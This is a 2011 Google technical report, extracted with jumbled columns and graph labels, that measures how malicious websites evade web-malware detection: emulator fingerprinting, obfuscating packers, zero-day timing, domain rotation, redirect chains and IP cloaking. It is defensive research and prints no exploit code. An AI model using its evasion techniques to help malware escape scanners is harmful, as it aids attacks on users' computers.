Google Technical Report rajab-2011a, July 2011

Trends in Circumventing Web-Malware Detection

Moheeb Abu Rajab, Lucas Ballard, Nav Jagpal, Panayiotis Mavrommatis,

∗
Daisuke Nojiri, Niels Provos, Ludwig Schmidt

ABSTRACT This paper makes the following contributions: (1) an analysis of

Malicious web sites that compromise vulnerable computers are an the prevalence and impact of different evasion techniques against
ever-present threat on the web. The purveyors of these sites are the four most popular web malware detection systems. (2) an eval-
highly motivated and quickly adapt to technologies that try to pro- uation that shows how these detection systems complement each
tect users from their sites. This paper studies the resulting arms race other to improve detection rates. (3) an investigation of the com-
between detection and evasion from the point of view of Google’s plexity of JavaScript on the web and how it relates to evasion. (4)
Safe Browsing infrastructure, an operational web-malware detec- a study of which vulnerabilities have been targeted by web-based
tion system that serves hundreds of millions of users. We analyze malware and measure how this makeup has changed over time.
data collected over a four year period and study the most popular Our analysis raises awareness about the evasive tactics that must
practices that challenge four of the most prevalent web-malware be considered when developing operational web malware detection
detection systems: Virtual Machine client honeypots, Browser Em- systems.
ulator client honeypots, Classification based on domain reputation,
and Anti-Virus engines. Our results show that none of these systems 2. BACKGROUND
are effective in isolation. In addition to describing specific meth- The attack surface of the modern web browser is quite large.
ods that malicious web sites employ to evade detection, we study Web-based malware can target vulnerabilities in the browser itself,
trends over time to measure the prevalence of evasion at scale. Our or against the myriad of plugins that extend the browser to han-
results indicate that exploit delivery mechanisms are becoming in- dle, for example, Flash, Java applets, or PDF files. A vulnerability
creasingly complex and evasive. in any of these components may be leveraged to compromise the
browser and the underlying operating system. As a prerequisite to
1. INTRODUCTION exploiting a user, an adversary needs to expose the user’s browser
to malicious payloads. This can be achieved by sending an email or
Malicious web sites capable of compromising vulnerable com- IM to the user containing a URL to a malicious server, or by com-
puters have been on the rise for many years. As web pages have promising web servers and injecting references to malicious code
become more interactive and feature-rich, the complexity of the into the content served to users [17].
browser and the software components involved in rendering web Many different approaches for detecting malicious web content
content has increased significantly. Over the last few years, almost have been proposed. In the following we review the most preva-
any browser including support for technologies such as Flash, Java, lent: Virtual Machine Honeypots, Browser Emulation Honeypots,
PDF or QuickTime has been susceptible to so called drive-by down- Classification based on Domain Reputation, and Virus Signatures.
load attacks that allow adversaries to run arbitrary software on a
vulnerable computer system. Virtual Machine Honeypots. Several VM-based detection sys-
The difficulty of discovering malware on the web is amplified tems have been proposed in the literature [10, 16, 15, 19, 9]. They
by the fundamental conflict between those who identify and block typically detect exploitation of the web browser by monitoring changes
malicious content and those who attempt to evade detection to dis- to the operating system, such as the creation of new processes, or
tribute malware. The resulting arms race has led to many novel changes to the file system or registry. Here, the virtual machine
approaches for identifying web-based malware. Despite this inter- functions as a black box since no prior knowledge of vulnerabili-
est, there has been no dedicated study analyzing whether evasion ties or exploit techniques is required.
techniques are effective, and more importantly, whether they are HoneyMonkey [19] launches Internet Explorer against a URL
being actively pursued to stealthily distribute malware. This paper and after waiting for several minutes determines if suspicious file
seeks to answer these questions. system changes were made. To detect zero-day exploits, the same
We study four years of data collected by Google’s web-malware URL is evaluated in Windows systems with different patch levels.
detection systems, which leverages four of the most popular web- Moshchuk et al. [10] went further in that their system also looked
malware detection technologies: Virtual Machine client honeypots, for newly created processes as well as file system writes not initi-
Browser Emulator client honeypots, Classification based on do- ated by the browser. In previous work [16], we demonstrated that
main reputation, and Anti-Virus engines. Our analysis reveals that VM-based web-malware detection could be scaled to scan a large
adversaries actively try to evade each of these systems. Despite portion of the web and presented statistics on over 3 million drive-
this, our results indicate that combining multiple types of client by download URLs.
honeypots can improve detection rates. While virtual machines run a complete software system and may
detect exploits of yet unknown vulnerabilities, precisely determin-
∗Research conducted as an intern at Google. ing what resource triggered the exploit or which vulnerability was
targeted may be difficult. Additionally, managing multiple VM im- only reveal exploit code if the test passes. Often, this is built into
ages with different combinations of exploitable software compo- packers that fail to deobfuscate malicious payloads if certain con-
nents can be an arduous task. Browser emulation has been pro- ditions are not met. While the set of potential differences between
posed to address these shortcomings. emulators and real browsers is large, we have found that tests typ-
Browser Emulation. Instead of deploying VM honeypots, one can ically fall into three high-level categories: JavaScript Environment
emulate a browser and use dynamic analysis to identify exploits. Compatibility, Parser Compatibility, and DOM Completeness.
In the case of an IE-specific exploit, code can probe the JavaScript
JSAND by Cova et al. [3] follows this approach and emulates a
Environment for differences between IE’s proprietary JavaScript
browser to extract features from web pages that indicate malicious
behavior. PhoneyC [13] is another Browser Emulator. It includes engine and open source JavaScript engines [12, 11, 5], which are
support for JavaScript and VBScript as well as the ability to in- more likely employed by emulators. This typically goes beyond
stantiate fake ActiveX objects. Modules with signatures for known simply testing for properties in the navigator object, and fo-
cuses instead on more arcane differences, e.g., changes to the DOM
vulnerabilities allow PhoneyC to detect exploits against plugins.
caused by CSS, which are typically not implemented by emula-
Browser emulators can pinpoint the exploited vulnerability and
tors that do not need to handle rendering. One can also iden-
even establish a chain of causality including every single web re-
quest involved in a drive-by download. On the other hand, emula- tify semantic differences in both JavaScript and HTML parsers,
tors cannot detect exploit attempts against unknown vulnerabilities for instance, IE’s JavaScript parser allows ; between try and
and must be updated to handle quirks in mainstream browsers as catch clauses, while other JavaScript parsers do not. Perhaps one
of the most challenging properties to emulate is the DOM of the
they are discovered.
browser, especially when accounting for the bugs exhibited by dif-
Reputation Based Detection. In the absence of malicious pay- ferent browsers’ DOM implementations. For instance, IE6 and IE7
loads, it is possible to take a content-agnostic approach to classify will add extra nodes to the DOM when encountering incorrectly
web pages based on the reputation of the hosting infrastructure. formed HTML. Concrete examples of each of these phenomena
Felegyhazi et al. leverage DNS properties to predict new malicious can be found in Appendix A.
domains based on an initial seed [4]. Lee et al. developed Notos, a While adversaries often turn to elaborate technical constructs to
dynamic reputation system for DNS, that can flag domains as mali- evade detection, a simple yet powerful approach is to cloak against
cious weeks before they appear on public blacklists [1]. Although scanners by serving malicious content to users but benign content
Notos is not meant for detecting malicious web pages, a similar to the detector. While there are many forms of cloaking, in this
approach can be followed by flagging pages that include resources paper we focus on arguably the most simple and effective approach:
that are hosted on malicious domains. cloaking at the IP level. To do so, malicious servers simply refuse
Signature Based Detection. Traditional Anti-Virus (AV) systems to return malicious content to requests from certain IP addresses.
operate by scanning payloads for known indicators of malicious-
ness. These indicators are identified by AV signatures, which must 4. EXPERIMENTAL SETUP
be continuously updated to identify new threats. Typically, packed The goal of this paper is to measure forms of circumvention de-
executables or HTML must be unpacked before performing match- scribed in Section 3 and determine whether the use of evasive tac-
ing. For web pages, this might involve HTML parsing or rudimen- tics has increased over the last several years. To do so, we analyze
tary JavaScript execution. If unpacking is not possible, AV engines the data collected by Google’s Safe Browsing infrastructure [16], a
may flag a binary as malicious solely by detecting the presence of large-scale web malware detection system. The data generated by
the packer. For JavaScript, AVs focus on detecting the presence of this system is used by more than 400 million users per week and is
heavy obfuscation. Oberheide et al. showed that combining multi- therefore the target of many forms of evasion. Moreover, the sys-
ple AV engines can significantly improve the detection rate [14]. tem classifies sites using VM-based client honeypots, a Browser-
Emulator, Signature-based AV engines, and Domain Reputation,
and is thus ideal for evaluating how evasion affects each of these
3. EVADING DETECTION popular technologies.
In Section 2, we discussed different approaches for detecting ma-
licious web pages. Just as these approaches are being improved, ad- 4.1 System Overview
versaries are becoming more skilled at hiding malicious content. To The malware detection pipeline takes as input a large corpus of
better understand how adversaries attempt to stay under the radar, URLs from a variety of sources. For example, we select URLs from
we present an overview of common tactics that we encounter. Google’s web index using both random sampling and a machine
Social engineering has emerged as a growing malware distribu- learning classifier that is tuned to identify pages that likely contain
tion vector [18]. In social engineering attacks, the user is asked to malware [16]. We also sample URLs that match trending search
install a malware binary under false pretenses. Social engineering queries, as well as user-reported URLs. The selection criteria for
attacks challenge automated detection systems by requiring arbi- the data has not changed significantly over the course of our study.
trarily complex interaction before delivering the payload; interac- Each URL is fed to a VM-based honeypot, which browses to the
tion that can be difficult to simulate algorithmically. URL with an unpatched version of Internet Explorer that has pop-
Attacks that target specific software configurations can also chal- ular plugins and runs on an unpatched Windows OS. The system
lenge VM honeypots that employ a VM image with a different OS, records host and network activity, including new processes, file sys-
browser, or set of plugins. Even if one deploys multiple VM images tem changes, registry changes, and network fetches. All network
with different software components, selecting the image to scan a fetches and system state changes are stored in a Bigtable [2] for
target page is challenging [3], and resource limitations might re- post processing.
duce the number of times a page can be scanned with different con- Once a VM has processed a URL, a scoring module, PageScorer,
figurations. analyzes the saved content to identify malicious behavior. First, all
To evade browser emulators, AV engines, or manual analysis, network fetches are scanned by multiple AV engines and matched
adversaries can test for idiosyncratic properties of the browser and against an internal list of domains that are known to serve malicious
 the site deliver an exploit during a drive-by download.
90V ZHE In addition to assessing whether a domain is serving malware,
the classifier also examines network requests to that domain from
IP addresses not associated with our organization. This allows us to
5HSXWDWLRQ determine whether domains are cloaking against our system at the
GDWDEDVH
network level. We call such domains Cloaking Domains, they are
$9HQJLQHV domains that distribute malware and also actively try to evade de-
tection. Distribution and Cloaking Domains make up our Domain
6FRUHUV %URZVHU(PXODWLRQ Reputation data, which is fed back into PageScorer to improve de-
tection rates for drive-by downloads.

Figure 1: The diagram shows a high-level overview of Google’s 4.2 Data Collection
web-malware detection system. VMs collect data from web In order to study evasion trends we leverage two distinct data
pages and store it in a database for analysis. PageScorer lever- sets. The first set, Data Set I, is the data that is generated by our
ages multiple scorers to determine if a web page is malicious. operational pipeline, i.e., the output of PageScorer. It was gener-
ated by processing ∼ 1.6 billion distinct web pages collected be-
tween December 1, 2006 and April 1, 2011. This data is useful for
studying trends that we observe in real time. The limitation with
content; see Section 4.1.2. Next, PageScorer instructs a Browser this data is that we continuously tweak our algorithms to improve
Emulator to reprocess the content that was retrieved by the VM detection, thus any trends observed from Data Set I could be due
to identify exploits. The Browser Emulator uses the stored con- to either changes in the web pages that we are processing, or to
tent as a cache and thus does not make any network fetches; see improvements to our algorithms. To eliminate this uncertainty, we
Section 4.1.1. Finally, PageScorer uses a decision tree classifier introduce our second data set, Data Set II.
to combine the output of the VM, AV Engines, Reputation Scorer, Data Set II is created as follows. First, we select a group of
and Browser Emulator to determine whether the page attempted pages from Data Set I. We sample pages from the time period be-
to exploit the browser; see Figure 1. The output of PageScorer, tween December 1, 2006 and October 12, 2010 that were marked
including whether the page caused new processed to be spawned, as suspicious by the VM-based honeypot, the Browser Emulator,
whether it was flagged by AV engines, which exploits it contained, the AV scanners, or our Reputation data. Note that this does not
and whether it matched Domain Reputation data, is stored along mean PageScorer classified these pages as malicious. For exam-
with the original data from the VM for future analysis. ple, if an AV engine flagged a page but the other scoring com-
A description of our VM-based honeypots and AV engine inte- ponents did not, then the page would not be classified as bad by
gration has been previously published [16, 17]. Since then we have PageScorer, but it would be added to the sample. In this way the
added Browser Emulation and a Domain Reputation pipeline which sample includes every bad page that our pipeline processed over
we briefly summarize below to familiarize the reader with the data the four year period, as well as some other “suspicious” pages. In
collection process. addition to these pages, our sample also includes 1% of other “non-
suspicious” pages selected uniformly at random from the same time
4.1.1 Browser Emulation period.
Our Browser Emulator is a custom implementation similar to For each of these pages, we rescore the original HTTP responses
other mainstream emulators including PhoneyC [13] and JSAND [3]. and VM state changes that were stored in our database using a fixed
We thus believe that its performance is representative of Browser version of PageScorer from the end of October, 2010. This version
Emulators in general. consisted of algorithms and data files, including AV signature files,
Briefly, the Browser Emulator is built on top of a custom HTML from the end of the data collection period. By fixing the scorer we
parser and a modified open-source JavaScript engine. It constructs ensure that any observable trends are due to changes in the data,
a DOM and event model that is similar to Internet Explorer. To en- and are not due to the evolution of our algorithms. The output of
sure a faithful representation of IE, we have modified all parsers to this rescore comprises Data Set II.
handle IE-specific constructs; for examples, see Appendix A. The In sum, Data Set II consists of ∼160 million distinct web pages
Emulator detects exploits against both the browser and the plug-ins from ∼8 million sites. We enabled JavaScript tracing on a subset
by monitoring calls to known-vulnerable components, as well as of this data, comprising ∼75 million web pages from ∼5.5 million
monitoring DOM accesses. distinct sites.
The emulator can also perform fine-grained tracing of JavaScript In this paper the term site refers to a domain name unless the
execution. When running in tracing mode, it records every function domain corresponds to a hosting provider. In the latter case, dif-
call and the arguments to those calls, e.g. we record which DOM ferent host names are indicative of separate content owners, so we
functions were called and which arguments were passed to them. take the host name as the site. For example, http://www.cnn.
This allows for more detailed analysis of exploitation techniques, com/ and http://live.cnn.com/ both correspond to the
which we explore later in the paper. site cnn.com, whereas http://foo.blogspot.com/page1.
html and http://bar.blogspot.com/page2.html are
4.1.2 Domain Reputation mapped to foo.blogspot.com and bar.blogspot.com, re-
The domain reputation pipeline runs periodically and analyzes spectively. Throughout this paper we provide statistics at the site
the output of AV engines and the Browser Emulator to determine level, and aggregate data by month. We do this to avoid skew that
which sites are responsible for launching exploits and serving mal- could occur if our sampling algorithm selected many pages from
ware. We call these sites Distribution Domains. The pipeline em- the same site. For example, if the system encountered exploits in a
ploys a decision-tree classifier to decide whether a site is a distribu- given month on two URLs that belong to the same site, we count
tion domain. Features include, for example, whether we have seen only one exploit.
 1e+06
Unique Sites
Unique Sites w/ JS Tracing 106
Unique Bad Sites Distribution
Social Engineering

800000 5
10
Unique Sites per Month

104

Number of Sites
600000

103

400000
102

200000 101

100

20

20

20

20

20

20

20

20

20

20

20

20
0

06

07

07

07

08

08

08

09

09

09

10

10
01

07

01

07

01

07

01

07

-1

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0
/0

/0

/0

/0

/0

/0

/0

/0

7
1/

1/

1/

1/

1/

1/

1/

1/
07

07

08

08

09

09

10

10
Figure 3: The graph shows the number of sites involved in So-
Figure 2: The graph shows the total number of sites per month cial Engineering attacks compared to all sites hosting malware
in Data Set II. The large spike in 2008 is due to the unexpected or exploits.
appearance of a benign process that caused many more pages
to be included in our analysis during that time.

lyzes the data generated by the detection infrastructure described

Figure 2 shows the number of sites in Data Set II for each month, in Section 4. We assess the extent to which techniques that hinder
both with and without JavaScript tracing, along with the total num- automatic detection are employed by adversaries on the Internet.
ber of sites containing pages that were marked as drive-by down- We focus on the challenges that face each of the four detection
loads in Data Set II. The large spike in the fall of 2008 is due techniques, and discuss potential measures to adapt to the various
to a misconfiguration in PageScorer, which mistakenly labeled a challenges.
benign process as malicious. This did not result in any misclassi-
fication at the time since no other scanners produced corroborating 5.1 Challenges for VM-based Detection
signals. Our results are also unaffected by the misconfiguration be-
cause it was fixed before we reclassified the data. Ignoring the out- As mentioned earlier, social engineering is an emerging attack
lier, on average the data set consists of ∼387, 000 sites per month, trend that could potentially limit the effectiveness of VM-based de-
of which ∼257, 000 launched drive-by downloads and ∼170, 000 tection schemes. To measure whether adversaries employ social en-
were processed with JavaScript tracing enabled. gineering techniques, we analyzed Data Set II with heuristics [18]
Our data set comes with some caveats. First, we are measuring to identify pages that were likely generated from templates em-
the trends observed by our systems. If we never observed mali- ployed by Fake AV campaigns. Figure 3 shows the number of so-
cious behavior from a given malware campaign, then the results cial engineering sites detected monthly relative to all sites involved
are not included in our study. We believe, however, that Google in distributing malware or exploits. The prevalence of social en-
Safebrowsing’s position provides a useful vantage point into mal- gineering has increased over the last four years. Although regular
ware on the web. Second, results derived from Data Set II can- malware sites still constitute about 98% of all distribution sites, we
not be compared to real-time performance of other technologies. see an increase in the number of sites employing social engineer-
Data Set II is generated using data, e.g., AV signatures, and al- ing. In January 2007, there was only one site distributing Fake AV,
gorithms that might not have been available when the pages were whereas by September, 2010 this number increased to 4, 230.
originally encountered. Third, while reclassifying pages to create One example of user interaction frequently found on Fake Anti-
Data Set II ensures that modifications to our algorithms do not cre- Virus pages is a dialog that requires a mouse click before a mal-
ate artificial trends, the pages that comprise Data Set II were se- ware binary is sent to the browser. This can be a dialog from the
lected because they originally exhibited suspicious behavior as de- system, or a dialog simulated by the web page with images or CSS.
termined by PageScorer. To alleviate the impact of this potential To assess the extent to which malware authors have adopted this
bias, we add a 1% random sample, constituting ∼80 million URLs, technique, we instrumented our operational VM system to initiate
as well as include pages that were originally classified as suspi- mouse clicks on the current web page. We then evaluated each
cious, but not malicious. This ensures that Data Set II includes social engineering site twice: once without any interaction and an-
pages that our algorithms may have missed in the past. Fourth, other time with mouse clicking enabled. We examined a subset of
we believe that false positives are rare in our data set. This is dif- 210, 000 pages from Data Set I from October 1, 2010 to April 1,
ficult to quantify in an operational setting, but in our experience, 2011 and compared the percentage of malware downloads in both
based on internal analysis, reports from users, web masters, and cases. With clicking enabled, we measured a 40% increase of mal-
StopBadware.org/, the system generates negligible false pos- ware binaries downloaded by the VMs.
itives. Over four years of operation we have had fewer than a hand- There are several possible explanations for the increasing popu-
ful of incidents causing false positives. larity of social engineering attacks: (1) These attacks are successful
even if no exploitable vulnerabilities are present in the browser en-
vironment; (2) For Fake AV, social engineering provides a direct
5. TRENDS IN EVASION route to monetization; (3) Social engineering attacks make VM-
In Section 3 we discussed the possible ways in which malicious based detection harder since malicious payloads appear only af-
web pages can be designed to resist detection. This section ana- ter user interaction with the browser. The first explanation seems
 CVE # ∆ days CVE # ∆ days
2008-3008 4 2008-0015 -3
2009-4324 2 2007-5779 -3
2008-2463 2 2007-3148 -3
2008-0955 2 2008-1472 -6
2007-4983 2 2010-0886 -7
2009-0075 1 2009-3672 -10
2010-2883 0 2007-5064 -35
2010-1818 0 2009-2496 -36
2010-0806 -3 2007-6144 -87
2008-0623 -3 2008-6442 -242

Table 1: Number of days after public release of vulnerability

(∆ days) that exploits were seen in Data Set II. Negative num-
bers indicate that the exploit was seen before public release.

Figure 4: The heat map shows the relative distribution of ex- that may not execute correctly in an emulated environment, but
ploits encountered on the web over time. Every second CVE is will work correctly in a real browser. This generally results in
labeled on the Y-axis. complex run-time behavior. To measure whether adversaries are
turning to such techniques we examined the data that was gener-
ated with JavaScript tracing enabled in Data Set II and computed
three different complexity measures:
less likely as exploitable vulnerabilities were present in all versions
of Internet Explorer and popular plugins during the course of our • Number of function calls measures the number of JavaScript
study. Regardless of the motive, social engineering poses a chal- function calls made in a trace.
lenge to VM-based honeypots must be accounted for.
• Length of strings passed to function calls measures the sum
Countermeasures. These results show that VM honeypots without of the lengths of all strings that are passed to any user-defined
user interaction may not detect web pages distributing malware via or built in JavaScript function.
social engineering. In addition to simulating user interacting with
the VM, one can also improve detecting by pursuing a signature • DOM Interaction measures the total number of DOM meth-
based approach [18]. ods called and DOM properties referenced as the JavaScript
executes.
5.2 Browser Emulation Circumvention
We hypothesize that drive-by download campaigns primarily em- We first consider the number of JavaScript function calls made
ploy two tactics to circumvent Browser Emulation: rapid incorpo- when evaluating a page. To establish a baseline we counted the
ration of zero-day exploits, and heavy obfuscation that targets dif- number of function calls made during normal page load for each
ferences between the emulator and a browser. We consider both in of the benign web pages in Data Set II. We also counted the num-
this section. ber of function calls made before delivering the first exploit for
each of the malicious pages in our Data Set II. As our analysis is
Exploit Trends. Once a vulnerability becomes public, it is quickly based on sites rather than individual web pages, we compute the
integrated into exploit kits. As a result, Browser Emulators need average value for sites on which we encounter multiple web pages
to be updated frequently to detect new vulnerabilities. To highlight in a given month. While sites with exploits are less frequent than
the changing nature of exploitation on the web, we show the rela- benign sites, our analysis finds between ∼50 and ∼150 thousand
tive prevalence of each of the 51 exploits identified by our Browser unique sites containing exploits per month with the exception of
Emulator in Data Set II in Figure 4. We see that 24 exploits are rel- the first few months in 2007 where the overall number of analyzed
atively short lived and are often replaced with newer exploits when sites is smaller.
new vulnerabilities are discovered. The main exception to this is Figures 5 and 6 show the 20%, 50% and 80% quantiles for the
the exploit of the MDAC vulnerability which is part of most exploit number of function calls for both benign and malicious web sites.
kits we encounter and represented by the dark line at the bottom of In Figure 5, we see an order of magnitude increase in the number of
the heat map. This data highlights an important opportunity for JavaScript function calls for benign sites. Figure 6 shows a change
evasion. Each time a new exploit is introduced, adversaries have a of over three orders of magnitude for the median for sites that de-
window to evade Browser Emulators until they are updated. Of the liver exploits. At the beginning of 2007, we observed about 20
51 exploits that we tracked, the median delay between public dis- JavaScript function calls, but the number of function calls jumped
closure1 and the first time the exploit appeared in Data Set II was to ∼7, 000 in 2008, and again to 70, 000 in December 2009.
20 days. However, many exploits appear in the wild even before the The number of JavaScript function calls in Figure 6 exhibits sev-
corresponding vulnerability is publicly announced. Table 1 shows eral distinct peaks and valleys. These can be explained by two phe-
the 20 CVEs that have the shortest delay between public announce- nomena. First, certain exploits require setup that employs more
ment and when the exploit appeared in Data Set II. function calls than others. The decrease in number of function
Obfuscation. To thwart a Browser Emulator, exploit kits typically calls in Autumn 2008, and again in the end of 2010 correspond
wrap the code that exercises the exploit in a form of obfuscation to the increasing prevalence of exploits against RealPlayer (CVE-
2008-1309) and a memory corruption vulnerability in IE (CVE-
1
As recorded at http://web.nvd.nist.gov/. 2010-0806). The proof-of-concept exploits that were wrapped into
 20th 20th
50th 50th
100000 80th 100000 80th

10000 10000

1000 1000
Count

Count
100 100

10 10

1 1
2007-01 2007-07 2008-01 2008-07 2009-01 2009-07 2010-01 2010-07 2007-01 2007-07 2008-01 2008-07 2009-01 2009-07 2010-01 2010-07

Figure 5: The graph shows the number of JavaScript function Figure 6: The graph shows the number of JavaScript function
calls for benign web sites. Over the measurement period, we calls for web sites with exploits. We count only the function
observe an order or magnitude increase for the median. calls leading up to the first exploit. We observe an increase of
over three orders of magnitude for the median over the mea-
surement period.

20th 20th
50th 50th
100000 80th 100000 80th

10000 10000

1000 1000
Count

Count

100 100

10 10

1 1
2007-01 2007-07 2008-01 2008-07 2009-01 2009-07 2010-01 2010-07 2007-01 2007-07 2008-01 2008-07 2009-01 2009-07 2010-01 2010-07

Figure 7: The graph shows the string length complexity mea- Figure 8: The graph shows the string length complexity mea-
sure on benign pages. sure on pages with exploits.

exploit kits made few function calls, spraying the heap with simple Figures 7 and 8 for this metric on benign and malicious pages, re-
string concatenation. However, the increased count at the begin- spectively. As with the number of function calls, we see a gen-
ning of 2009 and early 2010 correspond to exploits targeting two eral upward trend. We believe these trends are influenced more by
other memory corruption bugs in IE, CVE-2009-0075, and CVE- packers than by choice of exploit. The reason for this is that heap
2010-0249. The proof-of-concept for these exploits prepared mem- sprays generally do not pass long strings to method calls; more of-
ory by allocating many DOM nodes with attacker controlled data, ten they concatenate strings or add strings to arrays. Thus, these
and thus required many function calls to launch the exploit, see trends measure changes in packers over time. Clearly, as the size
Appendix C and D for example source code. of exploit kits and the complexity of packing algorithms grow, so
The second phenomenon that explains the general upward trend does the total amount of data that must be deobfuscated.
is the appearance of new JavaScript packers that obfuscate code Another way to assess the complexity of JavaScript is to deter-
using cryptographic routines such as RSA and RC4, which make mine which DOM functions are called before reaching an exploit.
many function calls. To trigger an exploit, it is usually not neces- This measurement captures obfuscation that probes the implemen-
sary to call many functions. For example, our system encountered tation of a Browser Emulator for completeness. We instrumented
exploits for CVE-2010-0806 for the first time in March 2010. At our JavaScript engine to record the usage of 34 DOM functions and
that time, the median number of functions calls to exploit the vul- properties that are commonly used or involved in DOM manipula-
nerability was only 7, whereas the median rose to 813 in July 2010. tions, see Appendix E. We then compute the relative frequency of
Thus we attribute the rise in complexity to obfuscation meant to these calls for both benign pages, and pages that deliver exploits.
thwart emulation or manual analysis. Figures 9 and 10 show heat maps plotting the relative frequencies
Next we consider the total string length complexity measure. See of each DOM function or property. The darkness of each entry rep-
 Figure 9: The heat map shows the DOM functions utilized by Figure 10: The heat map shows the DOM functions utilized by
benign web pages over time. exploit JavaScript over time.

resents the fraction of sites that utilize that specific DOM function
or property.
For benign pages, the number of DOM accesses has increased as
the web has become more interactive and feature rich. For benign
web sites, we note that the indices of the most common functions
are 3 and 13, which refer to document.body and getElementById
respectively. DOM access patterns for sites that deliver exploits are
remarkably different as significantly fewer DOM interactions are
found. Two indices, 7 and 31 stand out. They refer to createElement
and setAttribute respectively. These two functions are em-
ployed to exploit MDAC (CVE-2006-0003) [8] which has been
popular since 2006 and is part of most exploit kits. While Fig-
ure 9 shows that the clearAttributes function is not com-
monly used in benign web pages, we see a sudden increase of it in
exploits in February 2009. This coincides with the public release
of exploits targeting CVE-2009-0075; see Appendix C.
Further examination of this exploit indicates that the delivery
mechanism has been updated over time to exercise an increasing
number of DOM API functions. When the exploit was first re- Figure 11: The heat map shows the DOM functions utilized to
leased, it made use of only the three functions that are necessary exploit CVE-2009-0075. The graph shows that only two DOM
to launch the exploit: createElement, clearAttributes, functions are required to trigger the exploit, but that over time
and cloneNode2 . Over time, however, there was a steady uptick the DOM interactions have become more complex.
in the number of non-essential DOM functions that were called be-
fore delivering the payload; see Figure 11. Starting in March 2010,
about 20% of sites exploiting this vulnerability also make calls to
the relative performance of our Browser Emulator in Section 6.
appendChild and read innerHTML. In May 2010, more DOM
functions are called to stage the exploit. This change in behavior 5.3 AV Circumvention
indicates that the JavaScript to stage the exploit has become more
complex, likely to thwart analysis. AV engines commonly use signature-based detection to identify
malicious code. While it is well-known that even simple packers
Countermeasures. The trends in exploitation technique and each can successfully evade this approach, we wanted to understand the
of the complexity measures indicate that the perpetrators of drive- impact of evasion techniques at a large scale. Specifically, we mea-
by download campaigns are devoting significant effort towards evad- sured two aspects of evasion. First, we studied whether deobfuscat-
ing detection. In order to keep pace with zero-days and obfuscation ing web content would significantly improve detection rates. Sec-
techniques, Browser Emulators should be frequently updated. To ond, we studied how often AV vendors change their signatures to
facilitate such updates, it is possible to monitor the system for un- adapt to both False Positives and False Negatives.
expected errors or to compare its output to AV engines or a VM To study the impact of deobfuscation, we leveraged our Browser
infrastructure to identify potential deficiencies. One could also rely Emulator and hooked all methods that allow for dynamic injection
on these other technologies to address inherent limitations, for in- of code into the DOM, e.g., by recording assignment to innerHTML.
stance VM honeypots can be used to detect zero-days. We analyze The line labeled Deobfuscated in Figure 12 shows the percent of
additional sites in Data Set II that were flagged by AV engines only
2 after providing the engines with this injected content. This drasti-
We did not label cloneNode as a function of interest during our
analysis. cally improves performance of the AV engines, in some cases by
 100 20
Added Max
Removed 90th
Deobfuscated 50th
10th

80
15

60
Percentage

Depth
10

40

5
20

0 0
20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20
07

07

07

08

08

08

09

09

09

10

10

07

07

07

08

08

08

09

09

09

10

10
-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0
3

7
Figure 12: The graph shows the monthly percentage of sites Figure 13: The graph shows malware distribution chain length
with changing virus signals between Data Set I and Data Set II. over time.

more than 40%.

To study the impact of changes to AV signatures, we compared Evading classification by Domain Reputation Data simply in-
our AV classifications for each page in Data Set II to its original volves registering more domains to distribute malware. This gener-
classification in Data Set I. Figure 12 shows the percentage of ally involves two steps: registering domains en masse, and setting
sites with at least one virus signal change. The line labeled Added up redirectors to send traffic to these domains. To measure trends
shows the percentage of sites that had AV signals in Data Set II but in registering new domains, we computed the observed lifetime of
not in Data Set I. As the graph shows, a significant percentage of distribution domains in Data Set II. We estimate a lower bound
sites have new virus signals when they are rescored. These changes for lifetime as the interval between the time the site first appeared
could be due to three causes: (1) delay in signature updates in our in our data to the last time it appeared in our data. We ignore sites
operational environment; (2) AV vendors pruning signatures over that appeared only once, or whose life span is less than 10 minutes.
time; and (3) Improvements of AV signatures over time by AV ven- In total we observed ∼1.6 million distribution domains, of which
dors. We believe that the discrepancy is due to (3), since we up- ∼ 295, 000 appeared only once, and ∼ 330, 000, had a lifespan
date our AV signatures every two hours in our operational setting, of less than 10 minutes. The median lifetime reduced significantly
and one of our AV vendors confirmed that only the signatures that over our data collection period; from over one month between 2007
cause false positives are pruned. This implies that AV engines can and 2009, down to one week in July 2010, and down to 2 hours in
suffer from significant false negatives in operational settings. Look- October 2010.
ing back only one year, about 40% of the sites with virus signals In addition to domain rotation, adversaries attempt to avoid reputation-
were only seen in Data Set II. The line labeled Removed shows the based detection by setting up intermediary sites whose sole purpose
percentage of sites with pages that were flagged by AV engines in is to funnel traffic to distribution site. Figure 13 shows the length of
Data Set I but not in Data Set II. These removals are likely due malware distribution chains over time in Data Set II. The median
to signatures that produced false positives. The general downward is about one to two domains. Several sites use longer distribution
trend for each of the three plots can be explained by the fact that as chains with a 90th percentile of about 4 hops. The maximum chain
we come to the end of the data collection period, the AV signatures length we observed was 20 hops. In many cases, a single redirec-
that were used for both Data Set II and Data Set I become similar tor funnels traffic to several distribution sites. We measured the
to one another. out-degree of sites involved in these chains and observed that about
Both of these experiments indicate that while AV vendors strive 35% of intermediary sites redirected to more than one distribution
to improve detection rates, in real time they cannot adequately de- site. One notable example is a site that, at the time of this writing,
tect malicious content. This could be due to the fact that adver- is still active and redirected to over 1, 600 malicious sites.
saries can use AV products as oracles before deploying malicious
code into the wild. Countermeasures. We observed domain rotation frequently through-
out our study. We believe that this is an attempt to evade reputation-
Countermeasures. Our results show that the JavaScript packing based signals, or public domain blacklists. Two possible counter-
employed by malware distribution sites has a direct impact on the measures to this type of evasion are: (1) successfully classifying
accuracy of AV scanners and that Signature-based AV detection can redirectors as belonging to a campaign; and (2) classifying aggres-
suffer from both false negatives and false positives. Nonetheless, sively at the IP level. The second countermeasure is complicated
some procedures can improve detection. To maintain optimum de- by hosting providers that are typically abused by miscreants, but
tection, one should continuously update virus definitions. One can also serve legitimate sites.
also improve detection by using multiple AV engines. Perhaps the
best way to improve upon AV detection rates is to use them as a
component in a larger system.
5.5 IP Cloaking
IP Cloaking can be the most effective form of evasion, since it
5.4 Circumventing Domain Reputation thwarts any sort of detection by client honeypots or AV engines.
 250000
250000 Exploit Only
Exploit and NewProcess
NewProcess Only
200000

Unique sites per month

200000
Number of sites infected by cloaking domains

150000

150000

100000

100000
50000

50000 0

20

20

20

20

20

20

20

20

20

20

20

20
06

07

07

07

08

08

08

09

09

09

10

10
-1

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0
2-

4-

8-

2-

4-

8-

2-

4-

8-

2-

4-

8-
01

01

01

01

01

01
